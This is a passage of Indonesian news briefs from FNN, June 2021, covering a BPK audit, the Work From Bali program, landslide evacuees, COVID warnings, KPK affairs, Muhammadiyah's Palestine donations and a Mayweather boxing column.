Kendari, FNN - Badan Pemeriksa Keuangan (BPK) Republik Indonesia memerintahkan Inspektur Provinsi Sulawesi Temggara untuk melakukan audit atas kewajaran harga pengadaan barang/jasa dalam kegiatan penanganan pandemi COVID-19. Hal tersebut disampaikan Auditor Utama Keuangan Negara II Laode Nusriadi di Kendari, Sabtu usai menyerahkan laporan hasil pemeriksaan atas laporan keuangan pemerintah daerah dan kinerja atas pengelolaan PKB BBNKB. BPK juga merekomendasikan perhitungan selisih harga satuan atas kegiatan belanja barang medis habis pakai dan bobat-obatan pada Dinas Kesehatan serta belanja barang yang diserahkan kepada masyarakat pada Badan Penanggulangan Bencana Daerah (BPBD) setelah memperhitungkan persentase keuntungan yang wajar yang telah ditentukan oleh PPK. "Kalau Inspektur Pemerintah Provinsi Sultra telah melakukan audit maka segera sampaikan ke BPK," kata Laode Nusriadi. Meskipun Sultra menyandang predikat opini Wajar Tanpa Pengecualian (WTP) delapan kali berturut-turut namun BPK menyimpulkan pemeriksaan kinerja Pemprov Sultra kurang efektif mengelolah pajak kendaraan bermotor dan bea balik nama kendaraan bermotor tahun angggaran 2019 dan 2020. Kepala Badan Pengelola Keuangan dan Aset Daerah (BPKAD) Hj. Isma mengatakan rekomendasikan BPK menjadi perhatian serius pemerintah untuk ditindaklanjuti. "Penilaian pelaporan untuk dua versi, yakni laporan keuangan dan kinerja atas pengelolaan pajak kendaraan. Ini yang membedakan dengan tahun-tahun sebelumnya," kata Isma.

Kemenko Marves Sosialisasikan Program Work from Bali

Jakarta, FNN - Kementerian Koordinator Bidang Kemaritiman dan Investasi (Kemenko Marves) melakukan roadshow atau keliling untuk mensosialisasikan Program Work From Bali (WFB) bersama perwakilan Pemerintah Provinsi (Pemprov) Bali dan asosiasi pelaku pariwisata dan ekonomi kreatif Bali pada 2-4 Juni 2021. Roadshow sosialisasi WFB dilakukan secara daring dan luring ke kantor tujuh Kementerian/Lembaga (K/L) di bawah koordinasi Kemenko Marves, BUMN, serta perusahaan startup digital yang berlokasi di Jakarta. "Roadshow ini dilakukan agar teman-teman dari Pemprov Bali serta para pelaku pariwisata dan ekonomi kreatif Bali mendapat kesempatan untuk menjelaskan mekanisme pelaksanaan Work From Bali secara lebih terperinci," kata Asisten Deputi Pengembangan Sumber Daya Manusia (SDM) Pariwisata dan Ekonomi Kreatif Kemenko Marves Hermin Esti Setyowati dalam keterangan tertulis di Jakarta, Sabtu. Melalui roadshow WFB, diharapkan tercipta ruang dialog antara Pemprov Bali dan jajaran pelaku pariwisata dan ekonomi kreatif selaku penyelenggara dengan K/L serta BUMN dan perusahaan startup sebagai target program tersebut. "Pertanyaan-pertanyaan seputar mekanisme, hingga penerapan protokol kesehatan dapat tersampaikan dan terjawab dalam kegiatan roadshow ini," kata Hermin. Sementara itu Kepala Dinas Pariwisata Bali Putu Astawa mengapresiasi Program WFB yang diinisiasi oleh Kemenko Marves sebagai tindakan afirmatif terhadap keterpurukan perekonomian Bali akibat pandemi COVID-19. "Selama roadshow ini, kami memperoleh kesan yang sangat positif dan sangat didukung oleh K/L serta BUMN. Semoga setelah dapat berjalan nanti, kegiatan WFB akan bermanfaat dalam memulihkan optimisme pelaku, sekaligus menjadi wujud kehadiran pemerintah di tengah kesulitan masyarakat," kata Putu Astawa. (sws)

Mantan Menteri ESDM: RI Butuh Badan Pengelola Hulu Migas Independen

Jakarta, FNN - Mantan Menteri Energi dan Sumber Daya Mineral (ESDM) Purnomo Yusgiantoro mengatakan Indonesia membutuhkan badan pengelola independen untuk menarik investasi hulu minyak dan gas (migas), mengingat negeri ini masih membutuhkan komoditas tersebut untuk memenuhi energi di masa depan. Badan khusus di luar pemerintah tersebut, lanjut dia, melakukan pengaturan, pengurusan, dan pengawasan, terhadap implementasi kebijakan pengelolaan migas yang dilandasi undang-undang. “Di masa depan perlu dipastikan kontrak kerja sama dengan KKKS dilakukan oleh badan khusus independen, bukan dengan pemerintah. Tujuannya, agar segala risiko bisnis tidak terkena kepada negara,” kata Purnomo pada Forum Group Discusion (FGD) "Tata Keloka Hulu Minyak dan Gas Bumi sebagai Lokomotif Ekonomi yang Selaras dengan Kebutuhan Industri," di Universitas Diponegoro (Undip), Semarang, Jawa Tengah. Pada keterangan tertulis Undip, Sabtu, disebutkan pembicara lain yang tampil dalam acara itu adalah Dekan Fakultas Hukum Undip Retno Saraswati, Guru Besar Fakultas Hukum Undip Joko Priyono, dan Praktisi Hukum Migas Ali Nasir. Mantan Menteri ESDM itu menuturkan banyak kasus di masa lalu yang akhirnya membawa negara berhadapan dengan tuntutan pengadilan karena pemerintah terlibat dalam pengelolaan kontrak. Menurut dia, BPMIGAS (cikal bakal SKK Migas) yang lahir tahun 2001 sebetulnya cukup ideal karena merupakan lembaga independen, tidak termasuk dalam eksekutif dan bukan bagian dari BUMN yang menjalankan bisnis migas. “Ini baik untuk semua pihak, termasuk Pertamina sebagai BUMN. Terbukti ketika menjadi BUMN yang setara dengan KKKS, Pertamina berkembang dan labanya naik. BPMIGAS pun kemudian bisa mengawal industri hulu migas dengan baik, terbukti banyak proyek yang berhasil dilahirkan, misalnya Tangguh Train 1 sampai 3, juga pengembangan Lapangan Cepu yang kini memasok 30 persen produksi nasional,” kata Purnomo. Ketika menjadi Menteri ESDM, kata dia, usaha mengawal kelahiran BPMIGAS bukan perkara sederhana karena terjadi banyak pihak yang berkepentingan. Proses tarik-tarikan kepentingan terlihat masih terjadi ketika lembaga itu sudah lahir, terbukti empat kali lembaga itu menghadapi judicial review yaitu di tahun 2003, 2004, 2007 dan yang terakhir di tahun 2012. “Yang terakhir berhasil membuat BPMIGAS dibubarkan sehingga kemudian lahir SKK Migas yang hanya didasarkan pada Kepres. Ini sebetulnya aneh karena lembaga ini sudah berjalan selama 10 tahun dan punya prestasi. Dibubarkan oleh pihak-pihak yang tidak ada hubungannya dengan hulu migas,” kata Purnomo. Sementara itu Dekan Fakultas Hukum Undip Retno Saraswati, menyoroti langkah pemerintah yang belum juga menindaklanjuti putusan Mahkamah Konstitusi (MK) tahun 2012 untuk membentuk badan pengelola hulu migas baru, padahal hampir 10 tahun. “Apa yang menjadi putusan MK ini seharusnya sudah final. Oleh karena itu harus segera ditindaklanjuti karena kita butuh kepastian dan kepatuhan hukum,” katanya. Pendapat senada dikemukakan Praktisi Hukum Migas Ali Nasir. Menurutnya masalah kepastian hukum menjadi sorotan investor karena bisnis hulu migas adalah bisnis jangka panjang. Sebelum membuat keputusan investasi, calon investor harus bisa membuat kalkulasi keekonomian suatu kegiatan atau proyek. Oleh karena itu pihaknya berharap, rencana DPR dan pemerintah membahas UU Migas baru harus memiliki tujuan menarik investor, slah satu yang harus diperhatikan adalah sanctity of contract di segala hal, termasuk pada rezim pajak yang diterapkan (assume and discharge), sehingga investor bisa mendapat kepastian. “Satu hal lagi, agar dipastikan perselisihan tidak masuk ke ranah pidana. Ini membuat investor ketakutan karena terkait kepastian hukum,” kata Ali. (sws)

BPBD: Jumlah Pengungsi Longsor Cibeber-Cianjur Bertambah

Cianjur, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Cianjur, Jawa Barat, mencatat jumlah pengungsi longsor di Kecamatan Cibeber, bertambah hingga 300 jiwa dan ditampung di dua tempat di pondok pesantren di Desa Cibokor. "Jumlahnya bertambah dari 220 jiwa menjadi 300 jiwa, ketika sore menjelang karena sejak dua hari terakhir, hujan kembali turun deras dari sore hingga malam, sehingga warga yang bertahan di rumahnya dievakuasi, untuk antisipasi," kata Sekretaris BPBD Cianjur, Jabar, Irfan Sofyan saat dihubungi Sabtu. Puluhan warga yang awalnya bertahan di rumahnya masing-masing karena hanya terancam, merupakan warga dari dua kampung di Desa Cibokor, akhirnya memilih dievakuasi menjelang malam karena sejak dua hari terakhir, hujan kembali turun deras dari sore hingga malam. Saat siang menjelang mereka memilih kembali untuk membersihkan rumah dari lumpur. Hingga saat ini, penanganan tebing yang dapat kembali longsor belum maksimal, sehingga relawan disiagakan di dua desa, untuk melakukan pengawasan dan segera mengevakuasi warga yang rumahnya terancam, namun masih ditempati, ketika hujan kembali turun menjelang sore. Sedangkan 70 kepala keluarga di Desa Girimukti, memilih untuk tidak mengungsi karena jarak rumah yang jauh dari tebing yang longsor, sehingga hanya sebagian kecil yang mengungsi. Namun, menjelang malam, warga terutama kaum pria, diminta untuk waspada dan segera mengungsikan anggota keluarganya jika hujan turun lebat dengan intensitas lama. "Sebagian kecil yang mengungsi ke ponpes dan majelis taklim yang ada di ujung perkampungan. Kami sudah menyediakan tempat pengungsian dan menyiagakan relawan di lokasi Desa Girimulya. Kami berharap hari ini hujan tidak turun, agar warga tidak was-was," katanya. Sementara Camat Cibeber, Ali Akbar mengatakan warga yang tidak mengungsi di Desa Girimulya, sebagian besar rumahnya hanya terancam, sehingga masih aman untuk ditempati. Namun, warga yang rumahnya terdampak, dievakuasi ke pengungsian di Desa Cibokor karena letaknya berdekatan, untuk antisipasi dari hal yang tidak diinginkan. "Untuk bantuan sudah berdatangan, saat ini segala kebutuhan warga masih mencukupi. Bahkan dapur umum dan posko kesehatan sudah disiapkan, kami juga berkoordinasi dengan PMI Cianjur, terkait pendirian posko dan upaya lain guna meringankan beban warga," katanya. (sws)

90 Persen Warga Surabaya Ingin Kelonggaran Akses Saat Pandemi

Surabaya, FNN - Survei persepsi publik mahasiswa Magister Manajemen Universitas Airlangga menyebut 90 persen dari total warga Kota Surabaya yang disurvei menginginkan kelonggaran akses pada sebagian atau semua sektor saat pandemi. "Meski pandemi COVID-19 masih belum berakhir, namun 90 persen warga ingin kelonggaran terkait akses pada sebagian atau semua sektor. Namun tetap kepatuhan terhadap protokol kesehatan menjadi elemen yang utama yang harus ditegakkan oleh pemerintah," kata mahasiswa Magister Manajemen Unair Achmad Zanwar A. saat menyampaikan hasil survei di Balai Kota Surabaya, Sabtu. Meski demikian, kata dia, kerja keras Wali Kota dan Wakil Wali Kota Surabaya Eri Cahyadi dan Armuji untuk menangani pandemi COVID-19 juga mendapat apresiasi dari masyarakat. Sebanyak 81 persen warga merasa puas terhadap penanganan pandemi COVID-19 yang dilakukan Pemkot Surabaya. "Rekomendasi yang kami berikan adalah pemkot membuat peraturan yang konkret sebagai pedoman sektor-sektor ketika ingin membuka tempatnya," ujarnya. Penelitian ini dilakukan mahasiswa MM Fakultas Ekonomi dan Bisnis Universitas Airlangga Angkatan 55/AP. Survei dilaksanakan pada 15-25 Mei 2021, dengan menggunakan metode multistage random sampling dengan 100 responden. Margin of error sebesar kurang lebih 9,8 persen dan tingkat kepercayaan mencapai 95 persen. Wali Kota Surabaya Eri Cahyadi mengucapkan terima kasih atas riset yang telah dilakukan mahasiswa MM Unair. Masukan-masukan dalam riset ini akan menjadi pertimbangan Pemkot Surabaya dalam pengambilan keputusan kebijakan. "Harapan saya, masukan-masukan dan evaluasi ini tidak hanya berhenti di sini saja, tapi bisa dilakukan secara berkelanjutan. Tujuannya agar saya dapat potret persepsi masyarakat dari berbagai pihak. Selain itu, kami juga akan melakukan kolaborasi, tidak hanya soal survei, tapi juga usaha konkrit untuk menyelesaikan masalah di Surabaya," ujar dia. Menurut dia, survei yang dilakukan MM Unair ini sama persis seperti survei yang telah dilakukannya. Oleh karena itu, jika semua berkolaborasi maka permasalahan bisa diselesaikan. Apalagi Unair memiliki SDM yang hebat di bidang manajemen, bisnis dan lainnya. (sws)

Ketua DPD RI Tekankan Pentingnya Amandemen Kelima UUD 1945

Yogyakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti menekankan pentingnya amendemen kelima Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 sebagai momentum untuk melakukan koreksi atas arah perjalanan bangsa. LaNyalla menyampaikan hal tersebut saat menjadi pembicara kunci dalam "focus group discussion" (FGD) dengan tema "Presidential Threshold: Antara Manfaat dan Mudarat" di Universitas Muhammadiyah Yogyakarta (UMY), Sabtu. "Saya menggulirkan wacana amendemen kelima sebagai momentum untuk melakukan koreksi atas arah perjalanan Bangsa sehingga kita harus mendorong MPR RI untuk bersidang dengan agenda amendemen, tetapi dengan suasana kebatinan untuk melakukan koreksi dan perbaikan atas amendemen," kata dia. Menurut LaNyalla, perjalanan amendemen pertama hingga keempat UUD 1945 yang terjadi dari tahun 1999 hingga 2002, berbuntut negatif terhadap kedaulatan rakyat. Ia menilai banyak frasa kalimat dan norma yang harus dikoreksi dari hasil amendemen konstitusi terakhir. Sebab, akibat amendemen tersebut lahirlah sejumlah undang-undang yang merugikan bangsa. Salah satunya, ia menyebutkan Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu yang mengatur soal ambang batas calon presiden-wakil presiden atau presidential threshold. Menurut dia, aturan tersebut mengebiri kedaulatan rakyat dengan membatasi calon-calon pemimpin terbaik untuk mendapat hak yang sama bisa tampil pada pemilihan umum. "UUD hasil Amendemen di Pasal 6 Ayat (2) menyebutkan syarat-syarat untuk menjadi presiden dan wakil presiden diatur lebih lanjut dengan undang-undang," ujarnya. Kemudian Pasal 6A Ayat (2) menyebutkan pasangan calon presiden dan wakil presiden diusulkan oleh partai politik atau gabungan partai politik peserta pemilihan umum sebelum pelaksanaan pemilihan umum. "Nah, perintah membuat syarat-syarat melalui Undang-Undang di Pasal 6 Ayat (2) dan frasa kalimat 'sebelum pelaksanaan pemilihan umum' yang tertuang di Pasal 6A ayat (2) menyebabkan lahirnya Undang-Undang tentang Pemilu, yang memberi syarat ambang batas atau Presidential Threshold dan memberikan kewenangan kepada partai politik peserta pemilu sebelumnya atau periode yang lalu untuk mengajukan usulan calon presiden dan wakil presiden," kata dia. Padahal menurut para pelaku amendemen, kalimat "sebelum pelaksanaan pemilihan umum" hasil amendemen itu normanya adalah partai politik peserta pemilu saat itu. Artinya, partai politik yang telah lulus verifikasi sebagai peserta pemilu ketika itu. Disebutkan juga, frasa kalimat "sebelum pelaksanaan pemilihan umum" bermakna pasangan capres-cawapres sudah diajukan partai politik sebelum pilpres dilaksanakan karena pilpres dilaksanakan melalui pemilihan umum, maka di amendemen dituliskan dengan frasa tersebut. "Dan frasa tersebut juga mengandung norma bahwa pileg dan pilpres tidak dilakukan serentak. Kalau pun dilakukan serentak, tetap saja pengajuan nama capres dan cawapres dilakukan oleh partai politik peserta pemilu tahun itu juga, yaitu partai politik yang sudah dinyatakan lulus verifikasi oleh KPU sebagai peserta pemilu, bukan partai politik periode pemilu sebelumnya atau partai politik lima tahun sebelumnya," kata LaNyalla. Atas dasar itu, Senator asal Jawa Timur ini menilai menjadi sangat tidak logis bila pasangan capres-cawapres pada Pilpres 2019 diajukan oleh partai politik peserta Pemilu 2014. Begitu juga dengan Pilpres 2024, menurut dia, akan menjadi tidak logis apabila pasangan capres-cawapres diajukan oleh partai politik peserta Pemilu 2019. "Pertanyaannya bagaimana dengan partai politik pada tahun 2019 yang sudah tidak berada di parlemen? Atau seandainya ada partai politik yang sudah bubar. Berarti masih bisa mengusung capres dan cawapres," kata dia. "Atau sebaliknya, bagaimana dengan partai baru yang lahir dan lulus verikasi sebagai peserta Pemilu 2024 nanti? Tentu tidak bisa mengusung capres dan cawapres. Padahal dikatakan capres dan cawapres diajukan atau diusung oleh partai politik dan atau gabungan partai politik peserta pemilu," tambah LaNyalla. Sementara itu produk UU Pemilu mengeluarkan syarat pasangan calon pada pilpres diusulkan oleh partai politik atau gabungan partai politik yang memenuhi persyaratan perolehan kursi paling sedikit 20 persen dari jumlah kursi DPR atau 25 persen dari suara sah secara nasional pada pemilu anggota DPR sebelumnya yang tertuang dalam pasal 222. "Padahal di Pasal 6A Ayat (2) UUD hasil amendemen, kalimatnya adalah 'sebelum pelaksanaan pemilihan umum', bukan 'Pemilu anggota DPR sebelumnya' karena dua kalimat itu jelas berbeda artinya," ujar dia. LaNyalla mempersoalkan penambahan substansi syarat perolehan suara sah partai politik untuk bisa mengusung pasangan capres-cawapres. Aturan itu didalilkan atas perintah UUD hasil amendemen pasal 6 Ayat (2) yang menyebutkan "syarat-syarat untuk menjadi Presiden dan Wakil Presiden diatur lebih lanjut dengan undang-undang". "Ini persoalan yang menyebabkan kedaulatan rakyat dikebiri, dengan membatasi calon-calon pemimpin terbaik untuk mendapat hak yang sama untuk bisa tampil di gelanggang," ujar LaNyalla. Tak hanya itu, Mantan Ketua Umum PSSI itu menilai presidential threshold memiliki dampak negatif lainnya di tengah-tengah masyarakat. Terbukti saat Pilpres 2019 muncul dua kubu yang menimbulkan pembelahan politik dan polarisasi yang begitu kuat di akar rumput pasangan calon. "Polarisasi ini bahkan tak kunjung mereda, meski elit telah rekonsiliasi. Akibatnya, dengung kebencian merajalela. Dan itu masih kita rasakan hingga detik ini," tuturnya. Amandemen keempat UUD 1945 juga menyebabkan calon presiden dan calon wakil presiden non-partisan tidak bisa berlaga di Pilpres. Setelah dihapuskannya utusan golongan dan diubahnya utusan daerah menjadi DPD sehingga hanya perwakilan dari partai politik yang bisa mengusung calon. "Padahal DPD ini jelmaan dari utusan daerah. Tapi kewenangannya untuk mencalonkan presiden dan wakil presiden ikut dihilangkan, dan ini merugikan putra putri terbaik bangsa dari luar partai politik untuk maju sebagai calon di Pilpres. Maka ini yang sedang kami perjuangkan, agar DPD bisa menjadi sarana bagi calon-calon non-partisan maju sebagai capres maupun cawapres," kata LaNyalla. FGD yang dilaksanakan secara luring dan daring via zoom, dihadiri Rektor UMY, Gunawan Budiyanto dengan pembicara Zainal Arifin Mochtar (Guru Besar Hukum Tata Negara Universitas Gadjah Mada), Ridho Al-Hamdi (dosen ilmu pemerintahan UMY) dan Iwan Satriawan (dosen fakultas hukum UMY).

Kapolri Minta Wilayah Sekitar Kudus Waspadai Lonjakan COVID

Blora, FNN - Kapolri Jenderal Pol.Listyo Sigit Prabowo meminta sejumlah daerah yang berdekatan dengan wilayah Kabupaten Kudus, Jawa Tengah, untuk mewaspadai lonjakan kasus COVID-19. "Lonjakan kasus COVID di Kabupaten Kudus meningkat hingga 30 persen dalam sepekan," kata Kapolri dalam siaran pers usai mengunjungi Kabupaten Blora, Jawa Tengah, Sabtu. Menurut dia, tiga wilayah di Jawa Tengah, yakni Kabupaten Pati, Kabupaten Rembang, dan Kabupaten Blora harus mewaspadai kenaikan kasus yang terjadi di Kudus. Ia meminta forum koordinasi pemerintah daerah untuk aktif mengedukasi pentingnya protokol kesehatan di tengah penurunan kesadaran masyarakat. Menurit dia, kendornya protokol kesehatan jangan sampai menyebabkan terjadinya lonjakan COVID-19 seperti di Malaysia dan India. "Gelorakan 5M dalam kehidupan, terutama saat hajatan warga atau kegiatan lain yang bisa menimbulkan kerumunan," katanya dalam kunjungan bersama Panglima TNI Marsekal Hadi Tjahjanto. Sementara Panglima TNI meminta adanya koordinasi dan kolaborasi lintas sektor dalam penanganan COVID-19. "Antisipasi kegiatan-kegiatan budaya di wilayah, jangan sampai menimbulkan kerumunan," katanya.

Muhammadiyah Himpun Rp 32 Milyar Lebih untuk Palestina

YOGYAKARTA, FNN - Dana kemanusiaan yang terkumpul melalui Muhammadiyah mencapai Rp 32, 185 miliar. Bantuan yang digalang tersebut merupakan manifestasi dari pembelaan terhadap pentingnya sebuah bangsa untuk hidup bebas di tanah airnya sendiri. “Alhamdulillah, Lazismu (Lembaga Amal Zakat Infaq dan Sedekah Muhammadiyah) melaporkan kepada PP Muhammadiyah, telah terkumpul dana kemanusiaan untuk Palestina sebesar Rp 32,185 miliar sebagai wujud dari partisipasi dan komitmen Muhammadiyah termasuk di dalamnya Aisyiyah, kekuatan dan unsur persyarikatan serta Amal Usaha Muhammadiyah dalam membela Palestina dari agresi dan tindakan sewenang-wenang zionis Israel,” kata Ketua Umum Pimpinan Pusat Muhammadiyah Haedar Nashir, dalam siaran pers yang diterima FNN.co.id, Sabtu (5/6). “Pembelaan Muhammadiyah terhadap Palestina memiliki napas yang sama dengan perjuangan rakyat Indonesia sebagai bangsa yang pernah dijajah begitu lama, dan mengalami penderitaan yang begitu panjang. Kami turut mengapresiasi langkah pemerintah Indonesia yang telah bertindak tegas terhadap zionis Israel,” kata Haedar. Pengurus Pusat Organisasi Kemasyarakatan Islam yang didirikan KH Ahmad Dahlan tersebut bersyukur kepada Allah Subhanahu Wa Ta'ala sekaligus berterimakasih kepada seluruh pimpinan wilayah, organisasi otonom, majelis, lembaga, cabang, ranting, PCIM/PCIA serta seluruh anggota persyarikatan dan simpatisan yang telah mendonasikan sebagian rezekinya untuk dana kemanusiaan Palestina Haedar juga menyampaikan terima kasih sebesar-besarnya kepada lapisan masyarakat yang telah memiliki jiwa semangat dan komitmen yang tinggi untuk dana kemanusiaan Palestina dan kemanusiaan lainnya yang selama ini selalu menjadi bagian panggilan Al-maun yang menjadi ideologi dan teologi gerakan Muhammadiyah untuk kemanusiaan semesta. Dengan dana Rp 32 miliar lebih, tentu Muhammadiyah berkomitmen agar penyalurannya betul-betul amanah, good governance dan juga diperuntukkan atas program jangka panjang dan strategis bagi bangsa Palestina. "Insha Allah lewat Lazismu dan Muhammadiyah Aid, persyarikatan akan mengelola dana ini dengan sebaik-baiknya,” ujar Haedar. Haedar berharap, setelah pengumuman dana kemanusiaan Palestina, seluruh bagian di persyarikatan, baik dari wilayah sampai dengan ranting serta AUM, PCIM/PCIA DAPAY memulai lagi dan menggerakkan dana dakwah untuk kemanusiaan bagi program di dalam negeri. Muhammadiyah harus hadir bagi kepentingan mengangkat harkat derajat dan martabat masyarakat yang masih dhuafa dan mustadafin serta masyarakat luas yang masih membutuhkan peran pemberdayaan. “Saatnya kita tunjukkan, dana dakwan dan dana kemanusiaan untuk kepentingan pemberdayaan dan kemajuan masyarakat khususnya kelompok dhuafa mustadafin sama pentingnya dengan dana kemanusiaan bagi Palestina, Rohingya dan dana kemanusiaan di tingkat internasional lainnya. Saatnya menggerakkan potensi dan komitmen untuk dana dakwah dan dana kemanusiaan persyarikatan yang berbasis Al-Maun untuk membebaskan dan memajukan umat di negeri tercinta,” tutur Haedar. **

Maywether vs Logan Youtuber Sensasi The Money Rp 5, 9 Miliar Per Menit

By M. Nigara Jakarta, FNN - BUKAN Floyd the money Mayweather jika langkahnya tidak diikuti dengan sensasi. Di atas dan di luar ring, di dalam dan di luar rumah. Sensasi terus mengiringinya. Senin (7/6/2021) pagi waktu Indonesia Barat atau Ahad (6/6/2021) malam waktu Amerika, the Money begitu sapaannya, akan kembali membuat sensasi. Tvone, televisi yang paling utama menayangkan laga tinju dunia, kembali akan menayangkan laga tersebut. Mayweather untuk kedua kalinya kembali naik ring setelah menyatakan pensiun. Laga terakhir melawan Connor McGregor, secara resmi dicatat dalam ring record-nya meski sang lawan bukan seorang petinju. Dulu, Muhammad Ali saat bertarung dengan Inoki, seorang pegulat dari Jepang, tidak memasukkan laga tersebut. Baik Ali maupun para praktisi tinju sama-sama sepakat menyatakan laga itu hanya sebagai show. Bahkan laga eksibisinya melawan petinju asal Belanda, Rudy Lubers, di Stadion Utama, Senayan, 1973, awalnya juga tidak dimasukkan dalam catatan Prof Ali karena laga itu dianggap sebagai hiburan dan ucapan terima kasih Sang The Greates pada pendukung dan pencintanya di Indonesia. Namun akhirnya Ali membiarkan saat laga itu dicatatkan. Selain Inoki, Ali juga melakukan pertarungan eksibisi dengan dua pemain NFL (Football): Lyle Alzado (1979) dan Dave Sevenko (1983). Youtuber Paul Logan, lawan kedua yang akan dihadapi Mayweather, sekali lagi bukan petinju. Logan adalah seorang youtuber yang baru untuk kedua kalinya naik ring. Di laga perdananya, Logan kalah dari Olajide Williams (9/11/2019). Menurut banyak pihak, utamanya para petinju dan pakar tinju, langkah yang dilakukan the Money sangat konyol. Bahkan tidak sedikit yang curiga bahwa saat ini ekonomi Mayweather sedang mengalami kesulitan, makanya ia melakukan apa pun untuk menutupinya. Benarkah? Wallahu a'lam. Sekadar info saja, untuk laga ini Mayweather membandrol dirinya 10 juta USD atau sekitar Rp 142 miliar untuk delapan ronde. Atau Rp 17,750 miliar per-ronde dan Rp 5,9 miliar per menit. Satu jumlah yang sangat fantastis dan tak mungkin diraih oleh atlet dari cabor mana pun. Masih belum selesai, the Money punya jatah lain yakni 50 persen dari pay perview yang angkanya sangat fleksibel. Persambungan PPV seharga Rp 715 ribu, dan biasanya setiap laga Mayweather tidak kurang dari 500 ribu sambungan. Jika demikian, maka angka yang akan raih the Money tidak kurang dari Rp 178 miliar. Lagi-lagi angka yang sangat musykil bagi atlet yang lain. Sementara itu, Paul yang masuk dalam 10 youtuber di dunia, hanya ajan menerima bayaran 250 ribu USD atau sekitar Rp 3,5 miliar plus 10 persen dari PPV, tampaknya menjadikan laga itu sebagai ajang tambahan viewer saja. Saat ini Paul memiliki pengikut tidak kurang dari 50 juta. Hingga saat ini Paul berhasil meraih 14,5 juta USD atau sekitar Rp 206 miliar. Jadi, bayaran dari pertarungannya sendiri bukanlah tujuannya. Angka Rp 3,5 miliar itu sendiri sesungguhnya terlalu besar jika Paul petinju sesungguhnya. Banyak petinju yang sudah punya nama, bayarannya jauh lebih rendah dari dirinya. Jadi, jika ada orang bertanya hasil pertandingan, jawabnya sederhana, nol besar. Tapi jika melihat hasil uangnya, wuiiiiih dahsyat. Meski demikian, jangan lewatkan laga penuh sensasi itu hanya di tvone, Senin (7/6/2021) pagi. Penulis, wartawan tinju senior dan komentator TVOne

Ini Alasan Firli Tak Hadiri Debat Terbuka Soal TWK

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menjelaskan alasan Ketua KPK Firli Bahuri tidak menghadiri undangan debat terbuka soal Tes Wawasan Kebangsaan (TWK) dengan Direktur Sosialisasi dan Kampanye Antikorupsi KPK Giri Suprapdiono, Jumat. "KPK benar menerima undangan debat terbuka Wawasan Kebangsaan dari Koalisi Masyarakat Sipil Antikorupsi pada 3 Juni 2021," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. Ali mengatakan lembaganya telah merespons surat tersebut bahwa Firli tidak bisa memenuhi undangan tersebut karena ingin mengakhiri polemik di ruang publik terkait dengan alih status pegawai KPK menjadi Aparatur Sipil Negara (ASN). Sesuai dengan undangan yang tercantum, lanjut dia, debat publik tersebut dilaksanakan di pelataran Gedung Merah Putih KPK yang merupakan area publik. Namun, KPK menyayangkan acara debat tersebut kemudian dilakukan di ruang pers Gedung Merah Putih KPK tanpa pemberitahuan terlebih dahulu. "Kami berharap dukungan publik untuk menciptakan situasi yang kondusif demi kelancaran tugas-tugas pemberantasan korupsi oleh KPK," ujar Ali. Sebelumnya diinformasikan, Firli tidak memenuhi undangan debat terbuka dengan Giri membahas polemik TWK. "Kami coba panggil peserta debat TWK pertama, yaitu Bapak Giri Suprapdiono. Selanjutnya, kami panggil untuk datang ke debat TWK karena sebelumnya surat sudah dikirimkan secara resmi ke KPK untuk mengundang Ketua KPK Pak Firli Bahuri untuk bisa datang pada siang hari ini. Namun, tampaknya belum terlihat sosok Pak Firli di ruangan ini," kata Peneliti Indonesia Corruption Watch (ICW) Kurnia Ramadhana yang menjadi pembawa acara debat tersebut. Kurnia pun selanjutnya memulai acara membahas masalah TWK tersebut dengan Giri. Giri diketahui merupakan salah satu dari 75 Pegawai KPK yang tidak memenuhi syarat dalam TWK tersebut. *(sws)

KPK Eksekusi Dua Terpidana Penyuap Juliari Batubara ke Lapas

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengeksekusi dua terpidana penyuap mantan Menteri Sosial Juliari Peter Batubara ke lembaga pemasyarakatan (lapas) berdasarkan putusan yang telah berkekuatan hukum tetap. Dua terpidana tersebut, yaitu Harry Van Sidabukke yang berprofesi sebagai konsultan hukum, dan Direktur Utama PT Tigapilar Agro Utama Ardian Iskandar Maddanatja. Pelaksana Tugas Juru Bicara KPK Ali Fikri mengatakan, pada Kamis (3/6), Jaksa Eksekusi KPK Rusdi Amin telah selesai melaksanakan eksekusi putusan Pengadilan Tipikor pada Pengadilan Negeri Jakarta Pusat Nomor: 8/Pid.Sus-TPK/2021/PN. Jkt. Pst tanggal 5 Mei 2021 yang berkekuatan hukum tetap dari terpidana Harry Van Sidabukke. "Dengan cara memasukkannya ke Lembaga Pemasyarakatan Kelas IA Sukamiskin untuk menjalani pidana penjara selama 4 tahun dikurangi selama berada dalam tahanan," kata Ali dalam keterangannya, di Jakarta, Jumat. Pada Kamis (3/6), kata Ali, juga sekaligus dilakukan eksekusi putusan Pengadilan Tipikor pada PN Jakarta Pusat Nomor: 9/Pid.Sus-TPK/2021/PN. Jkt. Pst tanggal 5 Mei 2021 yang berkekuatan hukum tetap dari terpidana Ardian Iskandar Maddanatja. "Dengan cara memasukkannya ke Lembaga Pemasyarakatan Kelas IIA Cibinong untuk menjalani pidana penjara selama 4 tahun dikurangi selama berada dalam tahanan," ujar Ali. Selain itu, masing-masing terpidana juga dibebankan kewajiban untuk membayar denda sejumlah Rp100 juta, dengan ketentuan apabila tidak dibayar maka diganti dengan pidana kurungan selama 4 bulan. Sebelumnya, pada Rabu (5/5), Majelis Hakim Pengadilan Tipikor Jakarta telah menjatuhkan vonis terhadap Harry selama 4 tahun penjara ditambah denda Rp100 juta subsider 4 bulan kurungan, karena terbukti menyuap Juliari senilai Rp1,28 miliar. Suap tersebut diberikan terkait penunjukan PT Pertani (Persero) dan PT Mandala Hamonangan Sude (MHS) sebagai penyedia bansos sembako COVID-19 tahap 1, 3, 5, 6, 7, 8, 9 dan 10 yang seluruhnya sebanyak 1.519.256 paket. Sedangkan pada Rabu (5/5), Ardian juga divonis 4 tahun penjara ditambah denda Rp100 juta subsider 4 bulan kurungan, karena terbukti menyuap Juliari senilai Rp1,95 miliar terkait penunjukan PT Tigapilar Agro Utama sebagai penyedia bansos sembako COVID-19 tahap 9, 10, tahap komunitas dan tahap 12 sebanyak 115.000 paket. Keduanya terbukti melakukan perbuatan berdasarkan dakwaan pertama dari Pasal 5 ayat 1 